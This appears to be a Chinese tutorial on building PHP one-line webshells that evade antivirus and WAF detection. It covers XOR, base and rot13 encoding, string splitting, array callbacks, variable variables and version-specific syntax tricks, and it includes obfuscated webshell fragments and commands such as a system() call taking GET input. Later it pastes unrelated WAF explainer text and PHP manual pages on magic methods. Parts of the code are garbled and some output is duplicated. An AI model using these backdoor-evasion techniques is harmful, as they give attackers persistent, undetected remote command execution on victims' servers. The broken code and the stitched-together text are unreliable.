(字符串免杀思路)
字符串异或加密
字符串base家族加密
字符串rot13加密
字符串拼接
普通的一句话木马(适用于CTF和小站)
//函数的相似替换
与第一个一句话木马相比多了一个"@"字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;
属于不太重要的"组件",而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面.....
接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册(友情链接)发现如下区别:
eval:函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
assert:通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错
可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get.....),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。
小提示:php一句话木马也可以执行其他命令!(
@system($_GET["calc"]); ?>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)
大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密.....)。所以我们常常会说:白名单>WAF>黑名单!
"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串
'> '<')+( '>'> '<');
$_=$__/$__;
$____= '';
$___= "瞰";$____.=~($___{$_});$___= "和";$____.=~($___{$__});$___= "和";$____.=~ ($___{$__});$___= "的";$____.=~($___{$_});$___= "半";$____.=~($___{$_});$___= "始";$____.=~($___{$__});
$_____= '_';$___= "俯";$_____.=~($___{$__});$___= "瞰";$_____.=~($___{$__});$___= "次";$_____.=~($___{$_});$___= "站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
小提示:可以通过下列的PHP异或脚本解决生成函数的问题
64&& ord($test[$i]^$test[$j])< 91){
echo$test[$i]. '^'.$test[$j]. '结果为:';
echo$test[$i]^$test[$j];
echo'
';
} elseif(ord($test[$i]^$test[$j])> 97&& ord($test[$i]^$test[$j])< 122){
echo$test[$i]. '^'.$test[$j]. '结果为:';
echo$test[$i]^$test[$j];
echo'
';
}
}
}
?>
这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用,效果是不错的!
rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)!
虽然威胁级别很高,但是我们可以作用于其他免杀的处理上,使得免杀率得到一定程度的下降!(但是下面这个却被杀的死死的,我不理解,会不会是格式原因呢?)
xxx($_REQUEST[ '110']);
?>
我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。
也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!
单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!
这里多少一句啊,为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。
php的免杀(函数特性免杀思路)
函数替换 自定义函数 绕过 变形回调数组 可变变量
array_map:函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。
array_filter:通过函数过滤掉数组中的元素
array_reduce:发送数组中的值到用户自定义函数,并返回一个字符串
array_diff_uassoc:比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集
array_udiff:比较两个数组的键值(使用用户自定义函数比较键值),并返回差集
array_udiff_uassoc:通过使用自定义函数比较键和值,计算数组的差集
array_intersect_assoc:比较两个数组的键名和键值,并返回交集
array_uintersect:比较两个数组的键值(使用用户自定义函数比较键值),并返回交集
array_uintersect_uassoc:比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler:该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
xml_set_default_handler:函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_external_entity_ref_handler:函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE
xml_set_notation_decl_handler:函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。
如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_unparsed_entity_decl_handler:函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
尽量去PHP语法手册,找一些及其偏门的函数........
我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!
array_walk
array_map
filter_var
filter_var_array
uasort
uksort
以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!
$b($_POST[ '110'])))));
?>
PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。
这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!
类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:
传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
利用特殊符号来引起报错
PHP版本:只限于5.2版本
它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种回车、换行、null和空白字符,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量
PHP版本:只限于5.3和5.5版本;在php7中不认为是数字,php5则依旧为数字。(友情提示: 5.X可以成功执行命令,php7无法执行)
小提示:对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
利用在语法不换行来执行命令
PHP版本:只限于7.3.4版本,如果是其他的版本就会报错,所以针对性较强!
小提示:7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧!
//连接密码110
另外在附上小马一个,希望大家一起集思广益!
WAF(Web 应用程序防火墙)通过过滤和监控 Web 应用程序与互联网之间的 HTTP 流量来帮助保护 Web 应用程序。它通常可以保护 Web 应用程序,使其免受跨站点伪造、跨站点脚本 (XSS)、文件包含、SQL 注入及其他一些攻击的影响。WAF 属于协议第 7 层防御策略(OSI 模型中),并不能抵御所有类型的攻击。此攻击缓解方法通常隶属于一套工具,整套工具共同针对一系列攻击手段建立整体防御措施。
通过在 Web 应用程序前端部署 WAF,可在 Web 应用程序与 Internet 之间形成一道屏障。虽然代理服务器通过中介保护客户机的身份,但 WAF 是一种反向代理,引导客户端通过 WAF 到达服务器,从而防止暴露服务器。
WAF 通过一组通常称为“政策”的规则进行运作。这些政策旨在过滤恶意流量,防止受到应用程序漏洞的侵害。WAF 的部分价值在于可以快速简便地修改政策,因而可以更迅速地响应不同的攻击手段。在 DDoS 攻击期间,可通过修改 WAF 政策快速实施速率限制。
基于黑名单(消极安全模型)运行的 WAF 可防范已知攻击。您可以将黑名单 WAF 想象为俱乐部保镖按指示拒绝接待不符合着装要求的客人。相反,基于白名单(积极安全模型)的 WAF 仅允许接受预先批准的流量。类似于奢华派对保镖,只接待出席名单列出的客人。无论黑名单还是白名单,二者都有各自的优缺点,因此很多 WAF 提供混合安全模型,综合实施两种方法。
WAF 可以通过三种不同的方式来实施,每种方式都有各自的优缺点:
基于网络的 WAF 通常基于硬件。由于采用本地安装模式,因而可以最大限度地缩短延迟,但基于网络的 WAF 费用最昂贵,而且还要安装和维护物理设备。
基于主机的 WAF 可完全集成至应用程序软件。这种解决方案的成本低于基于网络的 WAF,而且还能提供更多定制功能。基于主机的 WAF 的缺点在于,占用本地服务器资源,实施起来复杂,而且还会产生维护成本。这些组件通常需要预留维护时间,可能成本较高。
基于云的 WAF 是一种极易实施的经济型方案;通常提供一站式安装服务,就像更改 DNS 来重定向流量一样简单。另外,基于云的 WAF 的前期成本最低,因为用户按月或按年支付安全即服务费用。基于云的 WAF 还可以提供持续更新解决方案以抵御最新威胁,用户无需额外开展工作或投入成本。基于云的 WAF 的缺点在于,用户将责任转嫁给第三方,因此对他们而言,WAF 的某些功能可能成为黑盒。
防火墙是一种网络安全设备,可以通过规则控制和过滤网络流量,从而保护网络不受恶意攻击和非法访问。其中,黑名单是一种常见的防火墙策略之一,可以阻止来自黑名单中 IP 地址、域名、URL 等的流量进入网络。
要设置黑名单,首先需要确定需要阻止的目标,如恶意 IP 地址、不受信任的域名等。然后,在防火墙上创建一个规则集,将这些目标添加到黑名单中。具体而言,可以采用如下步骤进行黑名单的设置:
登录防火墙管理控制台,找到防火墙规则配置界面。
创建一个新的规则集,设置规则集名称和描述,选择黑名单类型。
在规则集中添加需要阻止的目标,如 IP 地址、域名、URL 等,可以一次性添加多个目标。
配置黑名单规则的行为,如拒绝或丢弃流量,并设置相应的提示信息或警告。
激活规则集并保存设置,测试规则是否生效。
需要注意的是,黑名单是一种相对简单的防火墙策略,只能阻止已知的恶意目标进入网络,无法应对未知的攻击和漏洞。因此,建议综合使用其他安全措施,如白名单、入侵检测、安全认证等,以提高网络安全防护能力。
白名单技术是给出允许列表的方法,用户被阻止访问除列表之外的任何网站或Internet资源,该列表即白名单。白名单方法限制更严格,但也更安全。黑名单方法的问题是,不可能知道和列出用户不应该访问的每个网站。无论黑名单多么彻底全面,都可能会允许到某些不应该访问网站的流量。白名单方法要安全得多,因为所有站点默认都是被阻止的(默认被阻止也称为隐式拒绝),除非它们在白名单上。
ROT13加密是一种简单的替换密码,它将每个字母替换成字母表中它之后13个字母的字母。例如,字母"A"替换成"N",字母"B"替换成"O",以此类推,直到字母"M"替换成字母"Z",字母"N"替换成字母"A",以此类推。
ROT13加密可以通过多种方式实现,包括手动实现和编写程序实现。手动实现需要对字母表进行13个位置的移动,可以通过纸笔或者计算器进行计算,而程序实现则需要编写代码来实现字母的替换。
以下是一个Python程序实现ROT13加密的示例代码:
python复制代码def rot13(text):
result = ""
for char in text:
if char.isalpha():
if char.islower():
result += chr((ord(char) - 97 + 13) % 26 + 97)
else:
result += chr((ord(char) - 65 + 13) % 26 + 65)
else:
result += char
return result
这个程序接受一个字符串作为参数,然后遍历字符串中的每个字符,对于字母字符,根据大小写进行不同的处理,将字符替换成ROT13加密后的字符,最后将结果返回。
需要注意的是,ROT13加密并不是一种强加密方法,因为它只是一种简单的替换方法,容易被破解。因此,如果需要更强的加密保护,建议使用更复杂的加密方法。
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
PHP 保留所有以 __
开头的方法名称。 因此,除非覆盖 PHP 的行为,否则不建议使用此类方法名称。
下列方法名被认为是魔术方法: __construct() 、 __destruct() 、 __call() 、 __callStatic() 、 __get() 、 __set() 、 __isset() 、 __unset() 、 __sleep() 、 __wakeup() 、 __serialize() 、 __unserialize() 、 __toString() 、 __invoke() 、 __set_state() 、 __clone() 、 __debugInfo() 。
除了 __construct(), __destruct() ,和 __clone() 之外的所有魔术方法都 必须 声明为 public
, 否则会发出 E_WARNING
。 在 PHP 8.0.0 之前没有为魔术方法 __sleep() 、 __wakeup() 、 __serialize() 、 __unserialize() 、 __set_state() 发出诊断信息。
如果定义魔术方法时使用类型声明,它们必须与本文档中描述的签名相同,否则会发出致命错误。 在 PHP 8.0.0 之前,不会发出诊断信息。 然而, __construct() 和 __destruct() 不能声明返回类型, 否则会发出致命错误。
public __sleep(): array
public __wakeup(): void
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 null
被序列化,并产生一个 E_NOTICE
级别的错误。
注意:
__sleep() 不能返回父类的私有成员的名字。这样做会产生一个
E_NOTICE
级别的错误。使用 __serialize() 接口替代。
__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。
__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
示例 Sleep 和 wakeup
server = $server; $this->username = $username; $this->password = $password; $this->db = $db; $this->connect(); } private function connect()
{ $this->link = mysql_connect($this->server, $this->username, $this->password); mysql_select_db($this->db, $this->link); }
public function __sleep()
{ return array('server', 'username', 'password', 'db'); } public function __wakeup() { $this->connect(); }}
?>
public __serialize(): array
public __unserialize(array $data
): void
serialize() 函数会检查类中是否存在一个魔术方法 __serialize() 。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 TypeError 错误。
注意:
如果类中同时定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。 __sleep() 方法会被忽略掉。如果对象实现了 Serializable 接口,接口的
serialize()
方法会被忽略,做为代替类中的 __serialize() 方法会被调用。
__serialize() 的预期用途是定义对象序列化友好的任意表示。 数组的元素可能对应对象的属性,但是这并不是必须的。
相反, unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。
注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。
示例 序列化和反序列化
dsn = $dsn; $this->username = $username; $this->password = $password; $this->connect();
} private function connect()
{ $this->link = new PDO($this->dsn, $this->username, $this->password);
} public function __serialize(): array
{ return [ 'dsn' => $this->dsn, 'user' => $this->username, 'pass' => $this->password, ];
} public function __unserialize(array $data):
void {
$this->dsn = $data['dsn']; $this->username = $data['user']; $this->password = $data['pass']; $this->connect();
}}
?>
public __toString(): string
toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;
应该显示些什么。
警告
从 PHP 8.0.0 起,返回值遵循标准的 PHP 类型语义, 这意味着如果禁用 严格类型 ,它将会强制转换为字符串。
从 PHP 8.0.0 起,任何包含 __toString() 方法的类都将隐性实现 Stringable 接口, 因此将通过该接口的类型检查。推荐无论如何应显式实现该接口。
在 PHP 7.4 中,返回值 必须 是 string ,否则会抛出 Error 。
在 PHP 7.4.0 之前,返回值 必须 是 string ,否则会抛出致命错误 E_RECOVERABLE_ERROR
。
在 PHP 7.4.0 之前不能在 __toString() 方法中抛出异常。这么做会导致致命错误。
示例 简单示例
foo = $foo; }
public function __toString()
{ return $this->foo; }}
$class = new TestClass('Hello');echo $class;?>
以上示例会输出:
Hello
__invoke( ...$values
): mixed
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
示例 使用 __invoke()
以上示例会输出:
int(5) bool(true)
示例 使用 __invoke()
key = $key; }
public function __invoke(array $a, array $b):
int { return $a[$this->key] <=> $b[$this->key]; }}
$customers = [ ['id' => 1, 'first_name' => 'John', 'last_name' => 'Do'], ['id' => 3, 'first_name' => 'Alice', 'last_name' => 'Gustav'], ['id' => 2, 'first_name' => 'Bob', 'last_name' => 'Filipe']];// sort customers by first nameusort($customers, new Sort('first_name'));print_r($customers);// sort customers by last nameusort($customers, new Sort('last_name'));print_r($customers);
?>
以上示例会输出:
Array
(
[0] => Array
(
[id] => 3
[first_name] => Alice
[last_name] => Gustav
)
[1] => Array
(
[id] => 2
[first_name] => Bob
[last_name] => Filipe
)
[2] => Array
(
[id] => 1
[first_name] => John
[last_name] => Do
)
)
Array
(
[0] => Array
(
[id] => 1
[first_name] => John
[last_name] => Do
)
[1] => Array
(
[id] => 2
[first_name] => Bob
[last_name] => Filipe
)
[2] => Array
(
[id] => 3
[first_name] => Alice
[last_name] => Gustav
)
)
static __set_state(array $properties
): object
当调用 var_export() 导出类时,此静态 方法会被调用。
本方法的唯一参数是一个数组,其中包含按 ['property' => value, ...]
格式排列的类属性。
示例 使用 __set_state()>
var1 = $an_array['var1']; $obj->var2 = $an_array['var2'];
return $obj; }}
$a = new A;
$a->var1 = 5;$a->var2 = 'foo';
$b = var_export($a, true);var_dump($b);
eval('$c = ' . $b . ';');
var_dump($c);var_dump($b);
?>
以上示例会输出:
string(60) "A::__set_state(array(
'var1' => 5,
'var2' => 'foo',
))"
object(A)#2 (2) {
["var1"]=>
int(5)
["var2"]=>
string(3) "foo"
}
注意: 导出对象时, var_export() 不会检查对象类是否实现了 __set_state() , 所以如果 __set_state() 没有实现, 重新导入对象会触发 Error 异常。特别是这会影响内部(内置)类。 程序员有责任验证要重新导入的类是否实现了 __set_state() 。
__debugInfo(): array
当通过 var_dump() 转储对象,获取应该要显示的属性的时候, 该函数就会被调用。如果对象中没有定义该方法,那么将会展示所有的公有、受保护和私有的属性。
示例 使用 __debugInfo()
string(60) "A::__set_state(array(
'var1' => 5,
'var2' => 'foo',
))"
object(A)#2 (2) {
["var1"]=>
int(5)
["var2"]=>
string(3) "foo"
}
以上示例会输出:
object(C)#1 (1) {
["propSquared"]=>
int(1764)
}